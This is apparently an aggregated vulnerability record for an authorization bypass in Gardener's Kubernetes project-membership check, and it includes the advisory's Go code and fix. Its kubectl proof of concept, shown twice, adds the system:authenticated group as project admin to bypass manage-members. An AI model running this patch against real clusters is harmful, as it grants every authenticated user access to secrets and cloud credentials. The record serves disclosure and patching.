{"id":"CVE-2026-79767","aliases":["EUVD-2026-84821","GHSA-gfjv-gqf2-c888","GO-2026-6568"],"status":"published","title":"Gardener: Authorization Bypass via Group Subject Injection","description":"Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compares changes to User subjects but does not account for Group or ServiceAccount subjects in Project.spec.members. A project administrator who lacks manage-members permission can add arbitrary Group or ServiceAccount subjects, including the system:authenticated Group, and thereby grant broad project access. The resulting access can include Shoots, Secrets, and cloud provider credentials. This issue is fixed in versions 1.142.6, 1.143.3, 1.144.2, and 1.145.0.","severity":{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00389,"percentile":0.33287,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-863"],"published":"2026-09-22T19:58:00Z","modified":"2026-11-04T23:30:03Z","fixes":[{"ecosystem":"Go","package":"github.com/gardener/gardener","fixed_in":["1.142.6","1.143.3","1.144.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/gardener/gardener","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.142.6"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/gardener/gardener","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.143.0"},{"fixed":"1.143.3"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/gardener/gardener","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.144.0"},{"fixed":"1.144.2"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/gardener/gardener","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.142.6"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/gardener/gardener","ranges":[{"type":"SEMVER","events":[{"introduced":"1.143.0"},{"fixed":"1.143.3"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/gardener/gardener","ranges":[{"type":"SEMVER","events":[{"introduced":"1.144.0"},{"fixed":"1.144.2"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/gardener/gardener","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/gardener/gardener","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.142.6"}]}]}],"products":[{"vendor":"gardener","product":"gardener"}],"references":[{"url":"https://github.com/gardener/gardener/security/advisories/GHSA-gfjv-gqf2-c888","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/gardener/gardener/pull/15080","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/gardener/gardener/commit/63751db97dca6cc5ee5f966d4963415de6ae5545","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/gardener/gardener/releases/tag/v1.144.2","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79767","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-gfjv-gqf2-c888"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/79xxx/CVE-2026-79767.json","tags":["advisory"]},{"url":"https://github.com/gardener/gardener","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-79767","title":"Gardener: Authorization Bypass via Group Subject Injection","description":"Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compares changes to User subjects but does not account for Group or ServiceAccount subjects in Project.spec.members. A project administrator who lacks manage-members permission can add arbitrary Group or ServiceAccount subjects, including the system:authenticated Group, and thereby grant broad project access. The resulting access can include Shoots, Secrets, and cloud provider credentials. This issue is fixed in versions 1.142.6, 1.143.3, 1.144.2, and 1.145.0.","status":"published","published":"2026-09-22T19:58:00.09Z","modified":"2026-09-23T14:36:18.501Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T13:50:27.582139Z"}],"euvd":[{"id":"EUVD-2026-84821","description":"Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compares changes to User subjects but does not account for Group or ServiceAccount subjects in Project.spec.members. A project administrator who lacks manage-members permission can add arbitrary Group or ServiceAccount subjects, including the system:authenticated Group, and thereby grant broad project access. The resulting access can include Shoots, Secrets, and cloud provider credentials. This issue is fixed in versions 1.142.6, 1.143.3, 1.144.2, and 1.145.0.","status":"published","published":"2026-09-22T19:58:00Z","modified":"2026-09-23T14:36:18Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T17:28:00.949397Z"}],"ghsa":[{"id":"GHSA-gfjv-gqf2-c888","title":"Gardener: Authorization Bypass via Group Subject Injection","description":"## Overview\nThe `manage-members` custom verb authorization check in the Gardener API server's `customverbauthorizer` admission plugin can be bypassed by adding `Group` or `ServiceAccount` subjects to a Project's member list. The check is documented as controlling \"human users or groups\", but the implementation only gates changes to `User`-kind subjects. A project admin (without `manage-members` permission) can add arbitrary Group subjects - including `system:authenticated` - granting all authenticated users full project-level access.\n## Technical Details\nThe official Gardener documentation at `docs/usage/project/projects.md:90-92` explicitly states:\n\u003cimg width=\"2090\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b\" /\u003e\n\nHowever, the `mustCheckProjectMembers()` function at `admission.go` compares old and new member lists using `findHumanUsersWithRoles()`, which only tracks subjects where `isHumanUser()` returns true:\n```go\nfunc mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {\n    if apiequality.Semantic.DeepEqual(oldMembers, members) {\n        return false\n    }\n    if userIsOwner(userInfo, owner) {\n        return false\n    }\n    var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)\n    // ...\n    return !oldHumanUsers.Equal(newHumanUsers)\n}\n```\nThe `isHumanUser()` function at `admission.go` only matches `Kind == \"User\"`:\n```go\nfunc isHumanUser(subject rbacv1.Subject) bool {\n    return subject.Kind == rbacv1.UserKind \u0026\u0026 !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n}\n```\nKind: \"Group\" subjects are NOT matched by `isHumanUser()`, making Group member changes invisible to the authorization check. \nA project admin without manage-members permission can freely add or remove Group members.\n\n## Steps to reproduce\n\u003cimg width=\"4322\" height=\"1395\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60edacce-9810-4545-8198-a96cd072616c\" /\u003e\n\n---\n\n_Proof of concept:_\n1. Verify current project membership and confirm the owner has `manage-members` permission:\n```bash\n# Project members before the test:\n$ kubectl get project local -o yaml\n# members:\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: admin-user\n#     role: admin\n#     roles:\n#     - owner\n\n# Confirm the owner CAN manage-members (expected)\n$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user\nyes\n```\n2. Add a second admin user (`test-admin-user`) to the project WITHOUT the `uam` role, then confirm they lack `manage-members`:\n```bash\n# After adding test-admin-user as admin (no uam role):\n$ kubectl get project local -o yaml\n# members:\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: admin-user\n#     role: admin\n#     roles:\n#     - owner\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: test-admin-user\n#     role: admin\n\n# Confirm test-admin-user does NOT have manage-members\n$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user\nno\n```\n3. Verify `test-admin-user` cannot add a human User member (the check works for Users):\n```bash\n$ kubectl patch --as=test-admin-user project local --type=merge -p '{\n  \"spec\": {\n    \"members\": [\n      {\n        \"kind\": \"User\",\n        \"apiGroup\": \"rbac.authorization.k8s.io\",\n        \"name\": \"new-human-user@example.com\",\n        \"role\": \"viewer\"\n      }\n    ]\n  }\n}'\nError from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) \"local\" is forbidden: user \"test-admin-user\" is not allowed to manage human users or groups in .spec.members for \"projects\"\n```\n4. Bypass the check by adding a Group subject instead:\n```bash\n# This should be denied but ISN'T - the manage-members check is bypassed\n$ kubectl patch project local --as=test-admin-user --type=json -p '[\n  {\n    \"op\": \"add\",\n    \"path\": \"/spec/members/-\",\n    \"value\": {\n      \"kind\": \"Group\",\n      \"apiGroup\": \"rbac.authorization.k8s.io\",\n      \"name\": \"system:authenticated\",\n      \"role\": \"admin\",\n      \"roles\": [\"admin\"]\n    }\n  }\n]'\n\nproject.core.gardener.cloud/local patched\n```\n5. Verify the Group was added to project members:\n```bash\n$ kubectl get project local -o yaml\n# members:\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: admin-user\n#     role: admin\n#     roles:\n#     - owner\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: test-admin-user\n#     role: admin\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: Group\n#     name: system:authenticated\n#     role: admin\n```\n6. Demonstrate the impact - any authenticated user now has project access:\n```bash\n# As a random user \n$ kubectl --as=random-user@example.com get shoots -n garden-local\nNAME    CLOUDPROFILE   PROVIDER   REGION   K8S VERSION   HIBERNATION   LAST OPERATION            STATUS    AGE\nlocal   local          local      local    1.35.0        Awake         Create Succeeded (100%)   healthy   30m\n```\n\u003e_Note: `random-user@example.com` does not exist as a real user. However, the Kubernetes `--as` global flag performs user impersonation which is treated as a successfully authenticated request, automatically adding the `system:authenticated` group. Since `system:authenticated` was added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials._\n\n\n---\n## Security Impact\n- Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including `system:authenticated` (all authenticated users) or `system:unauthenticated` (all unauthenticated users).\n## Patching \u0026 Remediation\n1. **Fix `isHumanUser()` to include Groups**: The function should match the documented behavior. Change:\n    ```go\n    func isHumanUser(subject rbacv1.Subject) bool {\n        return subject.Kind == rbacv1.UserKind \u0026\u0026 !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n    }\n    ```\n    To:\n    ```go\n    func isNonServiceAccountSubject(subject rbacv1.Subject) bool {\n        if subject.Kind == rbacv1.GroupKind {\n            return true\n        }\n        return subject.Kind == rbacv1.UserKind \u0026\u0026 !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n    }\n    ```","status":"published","published":"2026-09-22T20:40:38Z","modified":"2026-11-04T23:15:34Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N","level":"medium"}],"cwes":["CWE-863"],"updated_at":"2026-11-04T23:40:16.825835Z"}],"nvd":[{"id":"CVE-2026-79767","description":"Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compares changes to User subjects but does not account for Group or ServiceAccount subjects in Project.spec.members. A project administrator who lacks manage-members permission can add arbitrary Group or ServiceAccount subjects, including the system:authenticated Group, and thereby grant broad project access. The resulting access can include Shoots, Secrets, and cloud provider credentials. This issue is fixed in versions 1.142.6, 1.143.3, 1.144.2, and 1.145.0.","status":"published","published":"2026-09-22T20:17:08.957Z","modified":"2026-09-23T18:12:04.247Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:12:50.703874Z"}],"osv":[{"id":"CVE-2026-79767","title":"Gardener: Authorization Bypass via Group Subject Injection","description":"Gardener implements the automated management and operation of Kubernetes clusters as a service. Prior to 1.142.6, 1.143.3, 1.144.2, and 1.145.0, the customverbauthorizer admission plugin's mustCheckProjectMembers manage-members check compares changes to User subjects but does not account for Group or ServiceAccount subjects in Project.spec.members. A project administrator who lacks manage-members permission can add arbitrary Group or ServiceAccount subjects, including the system:authenticated Group, and thereby grant broad project access. The resulting access can include Shoots, Secrets, and cloud provider credentials. This issue is fixed in versions 1.142.6, 1.143.3, 1.144.2, and 1.145.0.","status":"published","published":"2026-09-22T19:58:00.09Z","modified":"2026-10-28T02:30:42.082837572Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N","level":"medium"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:45:17.44708Z"},{"id":"GHSA-gfjv-gqf2-c888","title":"Gardener: Authorization Bypass via Group Subject Injection","description":"## Overview\nThe `manage-members` custom verb authorization check in the Gardener API server's `customverbauthorizer` admission plugin can be bypassed by adding `Group` or `ServiceAccount` subjects to a Project's member list. The check is documented as controlling \"human users or groups\", but the implementation only gates changes to `User`-kind subjects. A project admin (without `manage-members` permission) can add arbitrary Group subjects - including `system:authenticated` - granting all authenticated users full project-level access.\n## Technical Details\nThe official Gardener documentation at `docs/usage/project/projects.md:90-92` explicitly states:\n\u003cimg width=\"2090\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b\" /\u003e\n\nHowever, the `mustCheckProjectMembers()` function at `admission.go` compares old and new member lists using `findHumanUsersWithRoles()`, which only tracks subjects where `isHumanUser()` returns true:\n```go\nfunc mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {\n    if apiequality.Semantic.DeepEqual(oldMembers, members) {\n        return false\n    }\n    if userIsOwner(userInfo, owner) {\n        return false\n    }\n    var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)\n    // ...\n    return !oldHumanUsers.Equal(newHumanUsers)\n}\n```\nThe `isHumanUser()` function at `admission.go` only matches `Kind == \"User\"`:\n```go\nfunc isHumanUser(subject rbacv1.Subject) bool {\n    return subject.Kind == rbacv1.UserKind \u0026\u0026 !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n}\n```\nKind: \"Group\" subjects are NOT matched by `isHumanUser()`, making Group member changes invisible to the authorization check. \nA project admin without manage-members permission can freely add or remove Group members.\n\n## Steps to reproduce\n\u003cimg width=\"4322\" height=\"1395\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60edacce-9810-4545-8198-a96cd072616c\" /\u003e\n\n---\n\n_Proof of concept:_\n1. Verify current project membership and confirm the owner has `manage-members` permission:\n```bash\n# Project members before the test:\n$ kubectl get project local -o yaml\n# members:\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: admin-user\n#     role: admin\n#     roles:\n#     - owner\n\n# Confirm the owner CAN manage-members (expected)\n$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user\nyes\n```\n2. Add a second admin user (`test-admin-user`) to the project WITHOUT the `uam` role, then confirm they lack `manage-members`:\n```bash\n# After adding test-admin-user as admin (no uam role):\n$ kubectl get project local -o yaml\n# members:\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: admin-user\n#     role: admin\n#     roles:\n#     - owner\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: test-admin-user\n#     role: admin\n\n# Confirm test-admin-user does NOT have manage-members\n$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user\nno\n```\n3. Verify `test-admin-user` cannot add a human User member (the check works for Users):\n```bash\n$ kubectl patch --as=test-admin-user project local --type=merge -p '{\n  \"spec\": {\n    \"members\": [\n      {\n        \"kind\": \"User\",\n        \"apiGroup\": \"rbac.authorization.k8s.io\",\n        \"name\": \"new-human-user@example.com\",\n        \"role\": \"viewer\"\n      }\n    ]\n  }\n}'\nError from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) \"local\" is forbidden: user \"test-admin-user\" is not allowed to manage human users or groups in .spec.members for \"projects\"\n```\n4. Bypass the check by adding a Group subject instead:\n```bash\n# This should be denied but ISN'T - the manage-members check is bypassed\n$ kubectl patch project local --as=test-admin-user --type=json -p '[\n  {\n    \"op\": \"add\",\n    \"path\": \"/spec/members/-\",\n    \"value\": {\n      \"kind\": \"Group\",\n      \"apiGroup\": \"rbac.authorization.k8s.io\",\n      \"name\": \"system:authenticated\",\n      \"role\": \"admin\",\n      \"roles\": [\"admin\"]\n    }\n  }\n]'\n\nproject.core.gardener.cloud/local patched\n```\n5. Verify the Group was added to project members:\n```bash\n$ kubectl get project local -o yaml\n# members:\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: admin-user\n#     role: admin\n#     roles:\n#     - owner\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: test-admin-user\n#     role: admin\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: Group\n#     name: system:authenticated\n#     role: admin\n```\n6. Demonstrate the impact - any authenticated user now has project access:\n```bash\n# As a random user \n$ kubectl --as=random-user@example.com get shoots -n garden-local\nNAME    CLOUDPROFILE   PROVIDER   REGION   K8S VERSION   HIBERNATION   LAST OPERATION            STATUS    AGE\nlocal   local          local      local    1.35.0        Awake         Create Succeeded (100%)   healthy   30m\n```\n\u003e_Note: `random-user@example.com` does not exist as a real user. However, the Kubernetes `--as` global flag performs user impersonation which is treated as a successfully authenticated request, automatically adding the `system:authenticated` group. Since `system:authenticated` was added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials._\n\n\n---\n## Security Impact\n- Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including `system:authenticated` (all authenticated users) or `system:unauthenticated` (all unauthenticated users).\n## Patching \u0026 Remediation\n1. **Fix `isHumanUser()` to include Groups**: The function should match the documented behavior. Change:\n    ```go\n    func isHumanUser(subject rbacv1.Subject) bool {\n        return subject.Kind == rbacv1.UserKind \u0026\u0026 !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n    }\n    ```\n    To:\n    ```go\n    func isNonServiceAccountSubject(subject rbacv1.Subject) bool {\n        if subject.Kind == rbacv1.GroupKind {\n            return true\n        }\n        return subject.Kind == rbacv1.UserKind \u0026\u0026 !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n    }\n    ```","status":"published","published":"2026-09-22T20:40:38Z","modified":"2026-11-04T23:30:03.896135039Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N","level":"medium"}],"cwes":["CWE-863"],"updated_at":"2026-11-04T23:40:36.045471Z"},{"id":"GO-2026-6568","title":"Gardener: Authorization Bypass via Group Subject Injection in gardener/gardener","description":"Gardener: Authorization Bypass via Group Subject Injection in gardener/gardener.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/gardener/gardener from v1.143.0 before v1.143.3, from v1.144.0 before v1.144.2.","status":"published","published":"2026-10-01T20:23:38Z","modified":"2026-10-01T20:45:13.175814132Z","updated_at":"2026-11-02T15:47:03.11707Z"}]}}